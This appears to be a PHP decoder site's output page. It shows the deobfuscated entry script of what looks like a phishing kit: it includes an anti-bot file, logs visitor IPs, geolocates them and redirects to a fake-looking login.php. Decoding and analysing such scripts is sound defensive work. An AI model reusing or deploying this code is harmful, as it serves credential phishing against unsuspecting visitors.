Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
error_reporting(0); session_start(); include './kill.php'; $ip = getenv("REMOTE_ADDR");..
Decoded Output download
<? error_reporting(0);
session_start();
include './kill.php';
$ip = getenv("REMOTE_ADDR");
$file = fopen("log.txt","a");
fwrite($file,$ip." - ".gmdate ("Y-n-d")." @ ".gmdate ("H:i:s")."
");
$IP_LOOKUP = @json_decode(file_get_contents("http://ip-api.com/json/".$ip));
$COUNTRY = $IP_LOOKUP->country . "
";
$CITY = $IP_LOOKUP->city . "
";
$REGION = $IP_LOOKUP->region . "
";
$STATE = $IP_LOOKUP->regionName . "
";
$ZIPCODE = $IP_LOOKUP->zip . "
";
$oxide=rand();
$oxide=md5($oxide);
header("Location: login.php?Key=$ip=$oxide$oxide$oxide$oxide$ip$COUNTRY"); ?>
Did this file decode correctly?
Original Code
error_reporting(0);
session_start();
include './kill.php';
$ip = getenv("REMOTE_ADDR");
$file = fopen("log.txt","a");
fwrite($file,$ip." - ".gmdate ("Y-n-d")." @ ".gmdate ("H:i:s")."\n");
$IP_LOOKUP = @json_decode(file_get_contents("http://ip-api.com/json/".$ip));
$COUNTRY = $IP_LOOKUP->country . "\r\n";
$CITY = $IP_LOOKUP->city . "\r\n";
$REGION = $IP_LOOKUP->region . "\r\n";
$STATE = $IP_LOOKUP->regionName . "\r\n";
$ZIPCODE = $IP_LOOKUP->zip . "\r\n";
$oxide=rand();
$oxide=md5($oxide);
header("Location: login.php?Key=$ip=$oxide$oxide$oxide$oxide$ip$COUNTRY");
Function Calls
session_start | 1 |
error_reporting | 1 |
Stats
MD5 | 0d19e22203d1568d0518aefd4b0c449f |
Eval Count | 0 |
Decode Time | 50 ms |